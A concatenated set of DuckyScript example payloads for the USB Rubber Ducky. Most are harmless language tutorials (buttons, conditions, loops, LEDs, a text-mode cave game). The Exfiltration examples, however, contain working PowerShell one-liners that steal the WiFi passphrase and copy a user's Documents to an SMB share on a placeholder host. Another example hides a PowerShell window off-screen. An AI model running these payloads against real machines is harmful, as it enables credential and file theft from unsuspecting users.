ATTACKMODE OFF
REM The USB Rubber Ducky will be recognized as a composite USB device with both HID and STORAGE features.
REM Strings will be typed informing the user of the save state, the button functionality, and entering ATTACKMODE OFF.
REM Pressing the button will restore the previously initialized ATTACKMODE.
================================================
FILE: payloads/examples/Button/Button-example1.txt
================================================
REM WAIT_FOR_BUTTON_PRESS halts payload execution until a button press is detected.
REM When this command is reached in the payload, no further execution will occur. The button definition (either set using BUTTON_DEF or the arming-mode default) will be suppressed.
STRING Press the button...
WAIT_FOR_BUTTON_PRESS
STRING The button was pressed!
REM The text "The button was pressed!" will not be typed until the button is pressed.
================================================
FILE: payloads/examples/Button/Button-example2.txt
================================================
STRING Press the button 3 times...
WAIT_FOR_BUTTON_PRESS
STRING 1...
WAIT_FOR_BUTTON_PRESS
STRING 2...
WAIT_FOR_BUTTON_PRESS
STRING 3... You did it!
REM The button must be pressed 3 times to complete the payload.
================================================
FILE: payloads/examples/Button/Button-example3.txt
================================================
LED_R
REM First Stage Payload Code...
REM Wait for operator to assess target
REM before executing second stage.
WAIT_FOR_BUTTON_PRESS
LED_G
REM Second Stage Payload Code...
REM The operator is instructed to press the button as soon as the target is ready for the next stage.
REM The LED command is used to indicate to the operator that the payload is waiting for a button press.
================================================
FILE: payloads/examples/Button/Button-example4.txt
================================================
REM BUTTON_DEF defines a function which will execute when the button is pressed anytime within the payload so long as the button control is not already in use by the WAIT_FOR_BUTTON_PRESS command or other such function.
REM By default, if no button definition (BUTTON_DEF) is included in the payload, the button will stop all further payload execution and invoke ATTACKMODE STORAGE — entering the USB Rubber Ducky into arming mode.
REM Similar to functions (described later), which begin with FUNCTION NAME() and with END_FUNCTION, the button definition begins with BUTTON_DEF and ends with END_BUTTON.
BUTTON_DEF
STRING The button was pressed!
STOP_PAYLOAD
END_BUTTON
WHILE TRUE
STRING .
DELAY 1000
END_WHILE
REM The payload will type a period every second until the button is pressed.
REM Once the button is pressed, the payload will type the text “The button was pressed!”
REM After the button press text is typed, the payload will terminate.
================================================
FILE: payloads/examples/Button/Button-example5.txt
================================================
BUTTON_DEF
WHILE TRUE
LED_R
DELAY 1000
LED_OFF
DELAY 1000
END_WHILE
END_BUTTON
STRING Press the button at any point to blink the LED red
WHILE TRUE
STRING .
DELAY 1000
END_WHILE
REM If the button is pressed at any point in the payload it will stop typing “.” and the LED will start blink red until the device is unplugged.
================================================
FILE: payloads/examples/Button/Button-example6.txt
================================================
BUTTON_DEF
REM This is the first button definition
STRINGLN The button was pressed once!
BUTTON_DEF
REM This second button definition
REM overwrites the first
STRINGLN The button was pressed twice!
END_BUTTON
END_BUTTON
STRING Press the button twice to see
STRING how nested button definitions work!
ENTER
WHILE TRUE
STRING .
DELAY 1000
END_WHILE
REM If the button is pressed once at any point in the payload it will stop typing “.” and the first button definition will be executed.
REM When the first button definition is executed, a secondary button definition will be implemented.
REM If the button pressed a second time, the newly implement second button definition will execute.
================================================
FILE: payloads/examples/Button/Button-example7.txt
================================================
REM The DISABLE_BUTTON command prevents the button from calling the BUTTON_DEF.
BUTTON_DEF
STRING This will never execute
END_BUTTON
DISABLE_BUTTON
STRING The button is disabled
WHILE TRUE
STRING .
DELAY 1000
END_WHILE
REM The DISABLE_BUTTON command disables the BUTTON_DEF.
REM The button definition which types "This will never execute", will never execute — even if the button is pressed.
================================================
FILE: payloads/examples/Button/Button-example8.txt
================================================
ATTACKMODE OFF
LED_OFF
DISABLE_BUTTON
REM The USB Rubber Ducky will be effectively disabled.
================================================
FILE: payloads/examples/Button/Button-example9.txt
================================================
REM The ENABLE_BUTTON command allows pressing the button to call the BUTTON_DEF.
BUTTON_DEF
STRINGLN The button was pressed!
STRINGLN Continuing the payload...
END_BUTTON
WHILE TRUE
DISABLE_BUTTON
STRING The button is disabled for the next
STRINGLN 5 seconds...
STRINGLN Pressing the button will do nothing...
DELAY 5000
ENABLE_BUTTON
STRING The button is enabled for the next
STRINGLN 5 seconds...
STRING Pressing the button will execute
STRINGLN the button definition...
DELAY 5000
END_WHILE
REM The payload will alternate between the button being enabled and disabled.
REM If the button is pressed within the 5 second disabled window, nothing will happen.
REM If the button is pressed within the 5 second enabled window, the button definition will be executed and "The button was pressed!" will be typed.
REM The payload will loop forever.
================================================
FILE: payloads/examples/Conditions/Conditions-example1.txt
================================================
REM The flow control statement IF will determine whether or not to execute its block of code based on the evaluation of an expression. One way to interpret an IF statement is to read it as "IF this condition is true, THEN do this".
REM The IF statement consists of these parts
REM - The IF keyword
REM - The condition, or expression that evaluates to TRUE or FALSE
REM - In most cases, the expression is surrounded by parenthesis ( )
REM - The THEN keyword
REM - One or more newlines containing the block of code to execute
REM - The END_IF keyword
REM Example IF THEN
$FOO = 42
$BAR = 1337
IF ( $FOO < $BAR ) THEN
STRING 42 is less than 1337
END_IF
REM The expression "Is 42 less than 1337" is evaluated and determined to be TRUE.
REM Because the IF condition is TRUE, the code between the keywords THEN and END_IF are executed.
REM The string "42 is less than 1337" is typed.
================================================
FILE: payloads/examples/Conditions/Conditions-example2.txt
================================================
REM The ELSE statement is an optional component of the IF statement which will only execute when the IF statement condition is FALSE. One way to interpret an ELSE statement is to read it as "IF this condition is true, THEN do this thing, or ELSE do another thing".
REM Example IF THEN ELSE
IF ( $_CAPSLOCK_ON == TRUE ) THEN
STRING Capslock is on!
ELSE IF ( $_CAPSLOCK_ON == FALSE ) THEN
STRING Capslock is off!
END_IF
REM The condition of the capslock key, as determined by the target operating system, is checked.
REM If the caps lock key state has been reported by the target as ON, the string "Capslock is on" will be typed.
REM Otherwise, if the capslock key state has not been reported by the target (or it has been reported as not being on), the string "Capslock is off" will be typed.
================================================
FILE: payloads/examples/Conditions/Conditions-example3.txt
================================================
REM A nested IF statement is quite simply an IF statement placed inside another IF statement. Nested IF statements may be used when evaluating a combination of conditions.
REM Example nested IF statements
IF ( $_CAPSLOCK_ON == TRUE ) THEN
IF ( $_NUMLOCK_ON == TRUE ) THEN
STRING Both Capslock and Numlock are on!
END_IF
END_IF
REM The condition of the first IF statement is evaluated — whether or not the target has reported that the caps lock key is on. If it is TRUE, then the nested IF statement will run.
REM The second IF statement is evaluated much like the first, only this time checking the status of the num lock key.
REM If both the capslock and numlock keys have been reported by the target as being on, then the string "Both Capslock and Numlock are on!" will be typed.
================================================
FILE: payloads/examples/Conditions/Conditions-example4.txt
================================================
REM In some cases it may be more efficient to use logical operators within a single IF statement, rather than using a nested IF structure.
REM Example IF statement with logical operators
IF (( $_CAPSLOCK_ON == TRUE ) && ( $_NUMLOCK_ON == TRUE )) THEN
STRING Both Capslock and Numlock are on!
END_IF
REM Because the AND logical operator is in use, the whole condition will only evaluate as TRUE if both sub conditions are TRUE.
REM Similar to the Nested IF example, the string "Both Capslock and Numlock are on!" will only be typed if both capslock and numlock are reported by the target as being on.
================================================
FILE: payloads/examples/Conditions/Conditions-example5.txt
================================================
REM The syntax of IF states that in nearly all cases the expression should be surrounded by parenthesis ( ) — however there is an exception to this rule.
REM If the condition of only one variable is true or false, the parenthesis may be omitted. This results in a slightly smaller encoded inject.bin file as well as slightly faster payload execution. This is because it removes the step of first reducing the order precedence.
REM Example of optimized and unoptimized IF statements
REM Consider
VAR $FLAG = TRUE
IF $FLAG THEN
STRING FLAG is TRUE
END_IF
REM versus
IF ( $FLAG == TRUE ) THEN
STRING FLAG is TRUE
END_IF
REM In the first example, the IF statement without the parenthesis results in a 6 bytes added to the compiled inject.bin file.
REM In the second example, the IF statement surrounded by parenthesis results in 16 bytes added to the compiled inject.bin file.
================================================
FILE: payloads/examples/Conditions/Conditions-example6.txt
================================================
REM Example of optimized IF statement
REM with internal variable
IF $_CAPSLOCK_ON THEN
STRINGLN The caps lock key is on
END_IF
REM The internal variable $_CAPSLOCK_ON is checked.
REM If it evaluates as TRUE, the message “The caps lock key is on” is typed.
================================================
FILE: payloads/examples/Example_Payloads/konami_cave.txt
================================================
REM Boots as STORAGE, starts a game of cave in a text editor after konami code
REM COMPATABILITY:
REM DuckyScript 3.0
REM TARGET:
REM Any host that will reflect CAPSLOCK
REM DEPLOYMENT:
REM Plug in Ducky. To Start a game of cave:
REM Open PayloadStudio Console, notepad or text editor, make sure cursor is active there
REM Press the button on the Ducky
REM Press CAPSLOCK on the host machine lock 5 times
REM Press the Duck button to confirm and start game
REM Good luck!
ATTACKMODE STORAGE
LED_G
WAIT_FOR_BUTTON_PRESS
LED_OFF
ATTACKMODE HID STORAGE
LED_G
WAIT_FOR_CAPS_CHANGE
LED_OFF
WAIT_FOR_CAPS_CHANGE
LED_G
WAIT_FOR_CAPS_CHANGE
LED_OFF
WAIT_FOR_CAPS_CHANGE
LED_G
WAIT_FOR_CAPS_CHANGE
LED_R
WAIT_FOR_BUTTON_PRESS
LED_G
DEFINE RIGHT 0
DEFINE LEFT 1
DEFINE GAME_MAX_WIDTH 40
DEFINE GAME_SPEED 200
VAR $mode = RIGHT
VAR $lock_state = FALSE
VAR $score = 0
VAR $running = TRUE
VAR $direction_changes = 0
VAR $D = 0
VAR $INPUT = 0
VAR $MOD = 0
VAR $P = FALSE
FUNCTION PRINTDIGIT()
IF ($D == 0) THEN
STRING 0
ELSE IF ($D == 1) THEN
STRING 1
ELSE IF ($D == 2) THEN
STRING 2
ELSE IF ($D == 3) THEN
STRING 3
ELSE IF ($D == 4) THEN
STRING 4
ELSE IF ($D == 5) THEN
STRING 5
ELSE IF ($D == 6) THEN
STRING 6
ELSE IF ($D == 7) THEN
STRING 7
ELSE IF ($D == 8) THEN
STRING 8
ELSE IF ($D == 9) THEN
STRING 9
ELSE
STRING ?
END_IF
END_FUNCTION
FUNCTION CONSUME()
$D = 0
WHILE ($INPUT >= $MOD)
$D = ($D + 1)
$INPUT = ($INPUT - $MOD)
END_WHILE
IF (($D > 0) || ($P == TRUE)) THEN
$P = TRUE
PRINTDIGIT()
END_IF
END_FUNCTION
FUNCTION TRANSLATE_INT()
$P = FALSE
IF ( $INPUT >= 10000) THEN
$MOD = 10000
CONSUME()
END_IF
IF (($INPUT >= 1000) || ($P == TRUE)) THEN
$MOD = 1000
CONSUME()
END_IF
IF (($INPUT >= 100) || ($P == TRUE)) THEN
$MOD = 100
CONSUME()
END_IF
IF (($INPUT >= 10) || ($P == TRUE)) THEN
$MOD = 10
CONSUME()
END_IF()
$D = $INPUT
PRINTDIGIT()
ENTER
END_FUNCTION
FUNCTION TRANSLATE_BOOL()
IF ($INPUT == TRUE) THEN
STRING TRUE
ELSE IF ($INPUT == FALSE) THEN
STRING FALSE
ELSE
STRING ?
END_IF
ENTER
END_FUNCTION
VAR $CD = 3
FUNCTION COUNTDOWN()
WHILE ( $CD > 0 )
STRING .
$CD = ($CD - 1)
DELAY 1000
END_WHILE
END_FUNCTION
FUNCTION ENSURE_CAPS_OFF()
IF ($_CAPSLOCK_ON == TRUE) THEN
CAPSLOCK
END_IF
END_FUNCTION
FUNCTION init()
$_RANDOM_MIN = 9
$_RANDOM_MAX = 19
VAR $l_wall = $_RANDOM_INT
$_RANDOM_MIN = 20
$_RANDOM_MAX = 29
VAR $player = $_RANDOM_INT
$_RANDOM_MIN = 30
$_RANDOM_MAX = 40
VAR $r_wall = $_RANDOM_INT
END_FUNCTION
FUNCTION check_input()
VAR $changed = FALSE
IF ($_CAPSLOCK_ON != $lock_state) THEN
$lock_state = $_CAPSLOCK_ON
$direction_changes = ($direction_changes + 1)
IF ($mode == RIGHT) THEN
$mode = LEFT
ELSE
$mode = RIGHT
END_IF
END_IF
END_FUNCTION
FUNCTION end_game()
LED_R
$running = FALSE
END_FUNCTION
FUNCTION move_walls()
$_RANDOM_MIN = 0
$_RANDOM_MAX = 100
VAR $CHANCE = $_RANDOM_INT
IF ($CHANCE > 45) THEN
IF ($l_wall < GAME_MAX_WIDTH) THEN
$l_wall = ($l_wall + 1)
REM STRING l+
END_IF
ELSE
IF ($l_wall > 0) THEN
$l_wall = ($l_wall - 1)
REM STRING l-
ELSE
$l_wall = ($l_wall + 1)
END_IF
END_IF
$CHANCE = $_RANDOM_INT
IF ($CHANCE > 45) THEN
IF ($r_wall > 0) THEN
$r_wall = ($r_wall - 1)
REM STRING r-
END_IF
ELSE
IF ($r_wall < GAME_MAX_WIDTH) THEN
$r_wall = ($r_wall + 1)
REM STRING r+
ELSE
$r_wall = ($r_wall - 1)
END_IF
END_IF
REM ENTER
END_FUNCTION
FUNCTION move_player()
IF ($mode == RIGHT) THEN
IF ($player < GAME_MAX_WIDTH) THEN
$player = ($player + 1)
END_IF
ELSE IF ($mode == LEFT) THEN
IF ($player > 0) THEN
$player = ($player - 1)
END_IF
END_IF
END_FUNCTION
FUNCTION draw()
IF (($player <= $l_wall) || ($player >= $r_wall)) THEN
end_game()
STRING BONK
RETURN 0
END_IF
VAR $l_inside_whitespace = (($player - $l_wall) - 1)
VAR $r_inside_whitespace = (($r_wall - $player) - 1)
IF ($l_wall > 1) THEN
VAR $l_outside_whitespace = ($l_wall - 1)
WHILE ($l_outside_whitespace > 0)
SPACE
$l_outside_whitespace = ($l_outside_whitespace - 1)
END_WHILE
END_IF
STRING |
WHILE ($l_inside_whitespace > 0)
SPACE
$l_inside_whitespace = ($l_inside_whitespace - 1)
END_WHILE
IF ($mode == RIGHT) THEN
STRING >
ELSE IF ($mode == LEFT) THEN
STRING <
END_IF
WHILE ($r_inside_whitespace > 0)
SPACE
$r_inside_whitespace = ($r_inside_whitespace - 1)
END_WHILE
STRING |
ENTER
$score = ($score + 1)
RETURN 0
END_FUNCTION
FUNCTION run()
check_input()
move_walls()
check_input()
move_player()
check_input()
draw()
END_FUNCTION
FUNCTION play_cave()
WHILE TRUE
ENSURE_CAPS_OFF()
$score = 0
LED_G
ENTER
STRING Game Starting in 3s
$CD = 3
COUNTDOWN()
ENTER
STRING GOOD LUCK!
ENTER
ENTER
init()
WHILE ($running == TRUE)
DELAY GAME_SPEED
run()
END_WHILE
ENSURE_CAPS_OFF()
ENTER
STRING Left wall
$INPUT = $l_wall
TRANSLATE_INT()
STRING Right wall:
$INPUT = $r_wall
TRANSLATE_INT()
STRING Player position:
$INPUT = $player
TRANSLATE_INT()
STRING GAME OVER. SCORE:
$INPUT = $score
TRANSLATE_INT()
STRING Player Moves:
$INPUT = $direction_changes
TRANSLATE_INT()
DELAY 1000
STRING Press CAPS to play again.
WAIT_FOR_CAPS_CHANGE
$running = TRUE
DELAY 100
END_WHILE
END_FUNCTION
BUTTON_DEF
end_game()
END_BUTTON
play_cave()
================================================
FILE: payloads/examples/Example_Payloads/payload_menu.txt
================================================
REM Example Injection/Text Based Payload selection
REM COMPATABILITY:
REM DuckyScript 3.0
REM TARGET:
REM Any host that will reflect NUMLOCK
REM USAGE:
REM Replace the Hello Payload 1/2/3 stubs below with payloads of your choice.
REM DEPLOYMENT:
REM Open PayloadStudio Console, notepad or text editor, make sure cursor is active there
REM Plug in Ducky
REM Hit NUMLOCK on the host machine to cycle through modes
REM Hit the button on the Ducky to confirm current selection
REM Replace Example Modes with desired payloads - marked via comments below
DELAY 1000
VAR $SELECTED = 0
DEFINE MODE_MAX 2
DEFINE MODE_1 0
DEFINE MODE_2 1
DEFINE MODE_3 2
FUNCTION inc_mode()
IF ($SELECTED == MODE_MAX) THEN
$SELECTED = 0
ELSE
$SELECTED = ($SELECTED + 1)
END_IF
END_FUNCTION
BUTTON_DEF
ENTER
STRING SELECTION MADE
ENTER
$MODE_SELECTED = TRUE
END_BUTTON
FUNCTION draw_menu()
ENTER
STRINGLN Menu
STRING [
IF ($SELECTED == MODE_1) THEN
STRING *
END_IF
STRINGLN ] PAYLOAD 1
STRING [
IF ($SELECTED == MODE_2) THEN
STRING *
END_IF
STRINGLN ] PAYLOAD 2
STRING [
IF ($SELECTED == MODE_3) THEN
STRING *
END_IF
STRINGLN ] PAYLOAD 3
END_FUNCTION
FUNCTION run_menu()
VAR $MODE_SELECTED = FALSE
VAR $NUMSTATE = $_NUMLOCK_ON
draw_menu()
WHILE ($MODE_SELECTED == FALSE)
IF ($NUMSTATE != $_NUMLOCK_ON) THEN
$NUMSTATE = $_NUMLOCK_ON
inc_mode()
draw_menu()
END_IF
DELAY 200
END_WHILE
DELAY 1000
$_BUTTON_USER_DEFINED = FALSE
IF ($SELECTED == MODE_1) THEN
STRINGLN PAYLOAD 1
ELSE IF ($SELECTED == MODE_2) THEN
STRINGLN PAYLOAD 2
ELSE IF ($SELECTED == MODE_3) THEN
STRINGLN PAYLOAD 3
END_IF
END_FUNCTION
STRING PRESS NUMLOCK to change selection
ENTER
STRING PRESS BUTTON to confirm selection
ENTER
run_menu()
REM PAYLOADS/MODES
IF ($SELECTED == MODE_1) THEN
REM PLACE PAYLOAD 1 HERE
STRING Hello Payload 1!
ELSE IF ($SELECTED == MODE_2) THEN
REM PLACE PAYLOAD 2 HERE
STRING Hello Payload 2!
ELSE IF ($SELECTED == MODE_3) THEN
REM PLACE PAYLOAD 3 HERE
STRING Hello Payload 3!
END_IF
================================================
FILE: payloads/examples/Exfiltration/Exfiltration-example1.txt
================================================
REM Example Simple USB Exfiltration Technique for Windows
ATTACKMODE HID STORAGE
DELAY 2000
GUI r
DELAY 100
STRING powershell "$m=(Get-Volume -FileSystemLabel 'DUCKY').DriveLetter;netsh wlan show profile name=(Get-NetConnectionProfile).Name key=clear|?{$_-match'SSID n|Key C'}|%{($_ -split':')[1]}>>$m':\'$env:computername'.txt'"
ENTER
REM This short Powershell one-liner executes from the Windows Run dialog.
REM The drive letter of the volume with the label “DUCKY” is saved as $m.
REM The netsh command will get the network name and passphrase for the currently connected network ((Get-NetConnectionProfile).Name).
REM The results of the netsh command (filtered for only SSID and key) will be redirected (saved) to a file on the root of the “DUCKY” drive, saved as the computer name (in .txt format).
================================================
FILE: payloads/examples/Exfiltration/Exfiltration-example2.txt
================================================
REM Example Simple SMB Exfiltration Method for Windows
ATTACKMODE HID
DELAY 2000
DEFINE SMB_SERVER example.com
DEFINE SMB_SHARE sharedfolder
GUI r
DELAY 100
STRING powershell "cp -r $env:USERPROFILE\Documents\* \\
STRING SMB_SERVER
STRING \
STRING SMB_SHARE
STRING "
ENTER
REM This short Powershell one-liner, executed from the Windows Run dialog, will copy all documents (including subfolders) from the currently logged in user account’s documents folder to the defined SMB share.
================================================
FILE: payloads/examples/Exfiltration/Exfiltration-example3.txt
================================================
REM Example Simple Keystroke Reflection Attack for Windows
REM Saves currently connected wireless LAN profile to DUCKY
ATTACKMODE HID
LED_OFF
DELAY 2000
SAVE_HOST_KEYBOARD_LOCK_STATE
$_EXFIL_MODE_ENABLED = TRUE
$_EXFIL_LEDS_ENABLED = TRUE
REM Store the currently connected WiFi SSID & Key to %tmp%\z
GUI r
DELAY 100
STRINGLN powershell "netsh wlan show profile name=(Get-NetConnectionProfile).Name key=clear|?{$_-match'SSID n|Key C'}|%{($_ -split':')[1]}>$env:tmp\z"
DELAY 100
REM Convert the stored creds into CAPSLOCK and NUMLOCK values.
GUI r
DELAY 100
STRINGLN powershell "foreach($b in $(cat $env:tmp\z -En by)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){if($b-band$a){$o+='%{NUMLOCK}'}else{$o+='%{CAPSLOCK}'}}}; $o+='%{SCROLLLOCK}';echo $o >$env:tmp\z"
DELAY 100
REM Reflect the CAPSLOCK and NUMLOCK Keystrokes back to the Ducky.
GUI r
DELAY 100
STRINGLN powershell "$o=(cat $env:tmp\z);Add-Type -A System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait($o);rm $env:tmp\z"
DELAY 100
REM The final SCROLLLOCK keystroke indicates EXFIL is complete.
WAIT_FOR_SCROLL_CHANGE
LED_G
$_EXFIL_MODE_ENABLED = FALSE
RESTORE_HOST_KEYBOARD_LOCK_STATE
REM Per the initial ATTACKMODE command. the USB Rubber Ducky will act as a HID keyboard.
REM SAVE_HOST_KEYBOARD_LOCK_STATE will save the state of the lock key LEDs, as reported by the target, so that they may be restored to their original configuration after the Keystroke Reflection attack is performed.
REM $_EXFIL_MODE_ENABLED = TRUE will instruct the USB Rubber Ducky to listen for control codes on the USB HID OUT endpoint, saving each change as a bit within loot.bin.
REM $_EXFIL_LEDS_ENABLED = TRUE will show flash the USB Rubber Ducky LED as loot is saved, useful when debugging. Set as FALSE for a more stealthy operation, however the flash drive case should sufficiently conceal the LED.
REM The first powershell one-liner, injected into the run dialog, will save the currently connected WiFi network name (SSID) and plaintext passphrase to a temporary file. The file, known as the "loot", is saved as "z" within %TEMP% ($env:tmp\z) directory, encoded in standard ASCII.
REM The second powershell one-liner will convert the temporary ASCII loot file, bit by bit, into a set of caps lock and num lock key values. It will conclude this file with a final scroll lock value.
REM The third and final powershell one-liner, in software, will "press" the lock keys indicated by the temporary file via the SendKeys .NET class. The effect of this will be the binary values of the converted loot sent to the USB Rubber Ducky, one bit at a time, via the USB HID OUT endpoint.
REM Additionally, the temporary file will then be removed. The pentester may consider including additional techniques for obfuscation, optimization and reducing the forensic footprint.
REM WAIT_FOR_SCROLL_CHANGE will get triggered when the final key "press" from the SendKeys class is executed, thereby continuing the payload.
REM Finally $_EXFIL_MODE_ENABLED = FALSE will instruct the USB Rubber Ducky to conclude saving the received control codes in loot.bin and RESTORE_HOST_KEYBOARD_LOCK_STATE will restore the lock key LEDs to their original state before the exfiltration began.
================================================
FILE: payloads/examples/Exfiltration/Exfiltration-example4.txt
================================================
REM Example variable exfiltration
VAR $FOO = 1337
EXFIL $FOO
REM The binary contents of the variable $FOO will be written (appended) to the loot.bin file on the root of the USB Rubber Ducky MicroSD card.
================================================
FILE: payloads/examples/Functions/Functions-example1.txt
================================================
REM Example Function
VAR $TIMER = 3
FUNCTION COUNTDOWN()
WHILE ($TIMER > 0)
STRING .
$TIMER = ($TIMER - 1)
DELAY 500
END_WHILE
END_FUNCTION
STRING And then it happened
COUNTDOWN()
SPACE
STRING a door opened to a world
$TIMER = 5
COUNTDOWN()
REM The FUNCTION command defines a new function named COUNTDOWN() containing a code block with a WHILE loop which types a single period (".") for each value of $TIMER.
REM The first time the COUNTDOWN() function is called, the $TIMER variable holds the value 3. The second time it is called, the $TIMER variable holds the value 5.
REM The string "And then it happened... a door opened to a world....." will be typed.
================================================
FILE: payloads/examples/Functions/Functions-example2.txt
================================================
REM Example FUNCTION with RETURN
ATTACKMODE HID
DELAY 2000
BUTTON_DEF
STRING !
END_BUTTON
FUNCTION TEST_BUTTON()
STRING Press the button within the next 5 seconds.
VAR $TIMER = 5
WHILE ($TIMER > 0)
STRING .
DELAY 1000
$TIMER = ($TIMER - 1)
END_WHILE
ENTER
IF ($_BUTTON_PUSH_RECEIVED == TRUE) THEN
RETURN TRUE
ELSE IF ($_BUTTON_PUSH_RECEIVED == FALSE) THEN
RETURN FALSE
END_IF
END_FUNCTION
IF (TEST_BUTTON() == TRUE) THEN
STRINGLN The button was pressed!
ELSE
STRINGLN The button was not pressed!
END_IF
REM When the IF statement on line 26 checks the condition of the function TEST_BUTTON, the function is called and executed.
REM Based on whether or not the button is pressed, the RETURN value (lines 19 and 21) will be set to TRUE or FALSE.
REM The IF statement on line 26 evaluates the RETURN of the function TEST_BUTTON and types the result accordingly.
================================================
FILE: payloads/examples/Holding Keys/Holding-Keys-example1.txt
================================================
REM Example HOLD and RELEASE
REM Target: Windows
ATTACKMODE HID STORAGE
DELAY 2000
REM Open Powershell
GUI r
DELAY 1000
STRING powershell
ENTER
REM Hide Powershell Window
DELAY 2000
ALT SPACE
DELAY 100
m
DELAY 100
HOLD DOWNARROW
DELAY 3000
RELEASE DOWNARROW
ENTER
REM Run desired commands in obfuscated powershell window
STRING tree c:\
ENTER
REM This example payload targets Windows systems.
REM Using the GUI r key combo to open the Run dialog, a powershell window will be opened.
REM The ALT SPACE key combo opens the window menu of the currently active window (in this case, the powershell window), followed by the m key to select the Move command.
REM The DOWNARROW is held for 3 seconds, as specified by the DELAY 3000 command, before being released — thus hiding the contents of the powershell window below the screen.
REM The benign tree c:\ command is run, producing a graphical directory structure of the disk.
================================================
FILE: payloads/examples/Holding Keys/Holding-Keys-example2.txt
================================================
REM Example modifier key hold
ATTACKMODE HID STORAGE
DELAY 2000
INJECT_MOD
HOLD CONTROL
DELAY 4000
RELEASE CONTROL
REM The CONTROL key will be held for 4 seconds.
================================================
FILE: payloads/examples/Holding Keys/Holding-Keys-example3.txt
================================================
REM Example holding multiple keys
ATTACKMODE HID STORAGE
DELAY 2000
STRING iddqd
DELAY 500
WHILE TRUE
STRING idkfa
DELAY 500
HOLD LEFTARROW
HOLD UPARROW
INJECT_MOD
HOLD CONTROL
DELAY 5000
INJECT_MOD
RELEASE CONTROL
RELEASE UPARROW
RELEASE LEFTARROW
DELAY 500
END_WHILE
REM Answering the age old question, "will it run doom?", this payload proves the 1993 classic first-person shooter no match for the USB Rubber Ducky.
REM More specifically, this payload will cause Doom Guy to walk in circles firing his weapon.
================================================
FILE: payloads/examples/Jitter/Jitter-example1.txt
================================================
REM Example Jitter
ATTACKMODE HID STORAGE
DELAY 2000
$_JITTER_ENABLED = TRUE
WHILE TRUE
STRINGLN The quick brown fox jumps over the lazy dog
END_WHILE
REM The test string is typed continuously with a modulated delay between each key press.
================================================
FILE: payloads/examples/Jitter/Jitter-example2.txt
================================================
REM Example Jitter with increasing $_JITTER_MAX
ATTACKMODE HID STORAGE
DELAY 2000
$_JITTER_ENABLED = TRUE
WHILE TRUE
STRINGLN The quick brown fox jumps over the lazy dog
$_JITTER_MAX = ($_JITTER_MAX * 2)
END_WHILE
REM With each iteration of typing the test string the jitter limit is doubled, yielding slower and more sporadic typing.
================================================
FILE: payloads/examples/LED/LED-example1.txt
================================================
REM The LED_R command will enable the red LED.
REM To show only a red LED disable any default LED behavior (such as storage or payload processing) by executing LED_OFF before LED_R.
ATTACKMODE HID STORAGE
WHILE TRUE
IF ($_CAPSLOCK_ON == TRUE) THEN
LED_OFF
LED_R
ELSE IF ($_CAPSLOCK_ON == FALSE) THEN
LED_OFF
END_IF
END_WHILE
REM The LED will turn solid red while caps lock is on.
================================================
FILE: payloads/examples/LED/LED-example2.txt
================================================
REM The LED_G command will enable the green LED.
ATTACKMODE HID STORAGE
BUTTON_DEF
LED_OFF
STOP_PAYLOAD
END_BUTTON
WHILE TRUE
LED_OFF
LED_G
DELAY 1000
LED_OFF
LED_R
DELAY 1000
END_WHILE
REM The LED will alternate between solid red and solid green at one second intervals.
REM Pressing the button will turn the LED off and stop the payload.
================================================
FILE: payloads/examples/LED/LED-example3.txt
================================================
ATTACKMODE HID STORAGE
WHILE TRUE
LED_R
WAIT_FOR_BUTTON_PRESS
LED_G
WAIT_FOR_BUTTON_PRESS
END_WHILE
REM The LED will alternate between red and green on each button press.
================================================
FILE: payloads/examples/Lock Keys/Lock-Keys-example1.txt
================================================
ATTACKMODE HID STORAGE
LED_OFF
DELAY 2000
WHILE TRUE
LED_R
WAIT_FOR_CAPS_CHANGE
LED_G
WAIT_FOR_CAPS_CHANGE
END_WHILE
REM Pressing the caps lock key on the target will cycle the USB Rubber Ducky LED between red and green.
================================================
FILE: payloads/examples/Lock Keys/Lock-Keys-example2.txt
================================================
REM Example SAVE and RESTORE of of the Keyboard Lock State
ATTACKMODE HID STORAGE
DELAY 2000
SAVE_HOST_KEYBOARD_LOCK_STATE
$_RANDOM_MIN = 1
$_RANDOM_MAX = 3
VAR $TIMER = 120
WHILE ($TIMER > 0)
VAR $A = $_RANDOM_INT
IF ($A == 1) THEN
CAPSLOCK
ELSE IF ($A == 2) THEN
NUMLOCK
ELSE IF ($A == 3) THEN
SCROLLLOCK
END_IF
DELAY 50
$TIMER = ($TIMER - 1)
END_WHILE
RESTORE_HOST_KEYBOARD_LOCK_STATE
REM At the beginning of the payload, the currently reported keyboard lock state are saved.
REM For about 6 seconds, as a while loop iterates 120 times with a 50 ms delay, the caps, num or scroll lock keys will be randomly pressed.
REM When the "keyboard fireworks" display has concluded, the previously saved keyboard lock state will be restored.
REM Meaning, if the target has caps lock off, scroll lock off, and num lock on before the payload began, so too would it after its conclusion.
================================================
FILE: payloads/examples/Lock Keys/Lock-Keys-example3.txt
================================================
REM Example Blink green if LED states are reported,
REM otherwise blink red.
ATTACKMODE HID STORAGE
DELAY 2000
FUNCTION BLINK_RED()
WHILE TRUE
LED_OFF
DELAY 50
LED_R
DELAY 50
END_WHILE
END_FUNCTION
FUNCTION BLINK_GREEN()
WHILE TRUE
LED_OFF
DELAY 50
LED_G
DELAY 50
END_WHILE
END_FUNCTION
IF ($_RECEIVED_HOST_LOCK_LED_REPLY == TRUE) THEN
BLINK_GREEN()
ELSE IF ($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) THEN
BLINK_RED()
END_IF
REM The USB Rubber Ducky will blink green if the LED states are reported by the target. Otherwise, the LED will blink red.
================================================
FILE: payloads/examples/Lock Keys/Lock-Keys-example4.txt
================================================
REM Example ONLY CAPS FOR YOU (Evil Prank)
ATTACKMODE HID STORAGE
DELAY 2000
WHILE TRUE
IF ($_CAPSLOCK_ON == FALSE) THEN
CAPSLOCK
END_IF
DELAY 100
END_WHILE
REM If caps lock is turned off by the user, it will be turned on by the USB Rubber Ducky.
REM @Hak5Darren loves this prank.
================================================
FILE: payloads/examples/Loops/Loops-example1.txt
================================================
REM Example while loop - blink LED 42 times
VAR $FOO = 42
WHILE ( $FOO > 0 )
LED_G
DELAY 500
LED_OFF
DELAY 500
$FOO = ( $FOO - 1 )
END_WHILE
LED_R
REM The variable $FOO is set to 42.
REM The WHILE loop begins, evaluating the condition "is $FOO greater than 0".
REM Every time the condition is TRUE, the block of code between WHILE and END_WHILE will run.
REM The LED will blink green: half a second on, half a second off.
REM The variable $FOO will decrement by one.
